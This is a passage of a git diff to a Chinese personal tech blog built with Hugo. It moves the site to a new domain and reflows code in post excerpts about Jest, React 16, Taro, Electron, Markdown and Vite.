+toBeGreaterThanOrEqual(6) //判断结果是否大于等于6...</p></div><footer class=entry-footer><span title='2021-09-06 23:00:00 +0000 UTC'>2021-09-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Jest-JavaScript测试工具" href=https://chenjunlinabc.github.io/posts/95/></a></article><article class=post-entry><header class=entry-header><h2>React进阶学习笔记</h2></header><div class=entry-content><p>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
 render返回类型
 除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）
 例如：
-render(){
-return[
-&lt;div>hallo&lt;/div>,
-&lt;div>word&lt;/div>
-]
-}
-或者
-render(){
-return "hallo word"
-}
-错误处理
+render(){ return[ &lt;div>hallo&lt;/div>, &lt;div>word&lt;/div> ] } 或者
+render(){ return "hallo word" } 错误处理
 react16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃
 当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：
-componentDidCatch(error, info){
-console.log(error,info)
-}
-Portals
+componentDidCatch(error, info){ console.log(error,info) } Portals
 React16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框
 ReactDOM.createPortal(child, container)
 第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上
@@ -197,15 +160,8 @@
 导入
 import ReactMarkdown from ‘react-markdown’
 测试
-let markdown =
-"**这是加粗的文字**\n\n" +
-"*这是倾斜的文字*`\n\n" +
-"***这是斜体加粗的文字***\n\n" +
-"~~这是加删除线的文字~~ \n\n" +
-"`console.log(111)` \n\n" +
-"``` var a=11; ```";
-&lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/></p></div><footer class=entry-footer><span title='2021-09-03 12:00:00 +0000 UTC'>2021-09-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React进阶学习笔记" href=https://xiaochenabc123.github.io/posts/94/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/10/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/12/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+let markdown = "**这是加粗的文字**\n\n" + "*这是倾斜的文字*`\n\n" + "***这是斜体加粗的文字***\n\n" + "~~这是加删除线的文字~~ \n\n" + "`console.log(111)` \n\n" + "``` var a=11; ```"; &lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/></p></div><footer class=entry-footer><span title='2021-09-03 12:00:00 +0000 UTC'>2021-09-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to React进阶学习笔记" href=https://chenjunlinabc.github.io/posts/94/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/10/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/12/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/12/index.html b/page/12/index.html
index 9109320c..c63c9b04 100644
--- a/page/12/index.html
+++ b/page/12/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>Taro框架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>Taro框架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
 Taro官方组件库：https://taro-ui.jd.com/
@@ -23,18 +23,7 @@
 编译完成的端源码在dist目录下
 作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
-import Taro, { useState } from '@tarojs/taro'
-import { View, Text } from '@tarojs/components'
-import './index.less'
-function Main(){
-const [count ,setUserName] = useState("hallo word")
-return ( &lt;View>
-&lt;Text>{count}&lt;/Text>
-&lt;/View>
-)
-}
-export default Main
-子组件...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro框架学习笔记" href=https://xiaochenabc123.github.io/posts/92/></a></article><article class=post-entry><header class=entry-header><h2>Taro脚手架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行
+import Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState("hallo word") return ( &lt;View> &lt;Text>{count}&lt;/Text> &lt;/View> ) } export default Main 子组件...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro框架学习笔记" href=https://chenjunlinabc.github.io/posts/92/></a></article><article class=post-entry><header class=entry-header><h2>Taro脚手架学习笔记</h2></header><div class=entry-content><p>Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
 Taro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等
@@ -54,7 +43,7 @@
 作为一个可以使用react开发的脚手架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
 import Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState("hallo word") return ( &lt;View> &lt;Text>{count}&lt;/Text> &lt;/View> ) } export default Main 子组件
-import { View, Text } from '@tarojs/components' function Data(){ return ( &lt;View>&lt;Text>hallo word&lt;/Text>&lt;/View> ) } export default Data 导入...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro脚手架学习笔记" href=https://xiaochenabc123.github.io/posts/92/></a></article><article class=post-entry><header class=entry-header><h2>简单利用Electron框架开发桌面端应用</h2></header><div class=entry-content><p>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
+import { View, Text } from '@tarojs/components' function Data(){ return ( &lt;View>&lt;Text>hallo word&lt;/Text>&lt;/View> ) } export default Data 导入...</p></div><footer class=entry-footer><span title='2021-08-31 12:15:00 +0000 UTC'>2021-08-31</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Taro脚手架学习笔记" href=https://chenjunlinabc.github.io/posts/92/></a></article><article class=post-entry><header class=entry-header><h2>简单利用Electron框架开发桌面端应用</h2></header><div class=entry-content><p>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
 GUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能
 Visual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟
 但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m
@@ -73,23 +62,8 @@
 声明主窗口
 var mainWindow = null
 设置参数
-app.on('ready',()=>{
-mainWindow = new BrowserWindow({
-// 设置窗口大小
-width:500,
-height:500,
-webPreferences:{
-nodeIntegration: true
-// 是否集成node
-}
-}) mainWindow.loadFile('index.html') // 指定窗口加载那个页面
-mainWindow.on('closed',()=>{
-mainWindow = null
-// 监听销毁事件，事件触发关闭主窗口，设置为null
-})
-})
-初始化
-npm init –yes...</p></div><footer class=entry-footer><span title='2021-08-25 12:00:00 +0000 UTC'>2021-08-25</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用Electron框架开发桌面端应用" href=https://xiaochenabc123.github.io/posts/91/></a></article><article class=post-entry><header class=entry-header><h2>Markdown基础语法笔记</h2></header><div class=entry-content><p>Markdown是一个标记语言，常用于编写文档
+app.on('ready',()=>{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile('index.html') // 指定窗口加载那个页面 mainWindow.on('closed',()=>{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化
+npm init –yes...</p></div><footer class=entry-footer><span title='2021-08-25 12:00:00 +0000 UTC'>2021-08-25</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单利用Electron框架开发桌面端应用" href=https://chenjunlinabc.github.io/posts/91/></a></article><article class=post-entry><header class=entry-header><h2>Markdown基础语法笔记</h2></header><div class=entry-content><p>Markdown是一个标记语言，常用于编写文档
 标题
 一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6
 段落
@@ -115,7 +89,7 @@
 表格
 xxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐
 转义
-*</p></div><footer class=entry-footer><span title='2021-08-18 16:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Markdown基础语法笔记" href=https://xiaochenabc123.github.io/posts/88/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Vite-前端构建工具</h2></header><div class=entry-content><p>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
+*</p></div><footer class=entry-footer><span title='2021-08-18 16:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Markdown基础语法笔记" href=https://chenjunlinabc.github.io/posts/88/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Vite-前端构建工具</h2></header><div class=entry-content><p>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
 Vite在法语中的意思为快速的
 基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块
 依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）
@@ -154,11 +128,9 @@
 Vite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成
 Vite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）
 安装@vitejs/plugin-legacy
-yarn add @vitejs/plugin-legacy -d
-配置vite.config.ts
-import legacy from '@vitejs/plugin-legacy'
-....</p></div><footer class=entry-footer><span title='2021-08-18 14:20:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vite-前端构建工具" href=https://xiaochenabc123.github.io/posts/87/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/11/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/13/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+yarn add @vitejs/plugin-legacy -d 配置vite.config.ts
+import legacy from '@vitejs/plugin-legacy' ....</p></div><footer class=entry-footer><span title='2021-08-18 14:20:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vite-前端构建工具" href=https://chenjunlinabc.github.io/posts/87/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/11/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/13/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/13/index.html b/page/13/index.html
index 9aa2ebcd..123eaf5d 100644
--- a/page/13/index.html
+++ b/page/13/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description 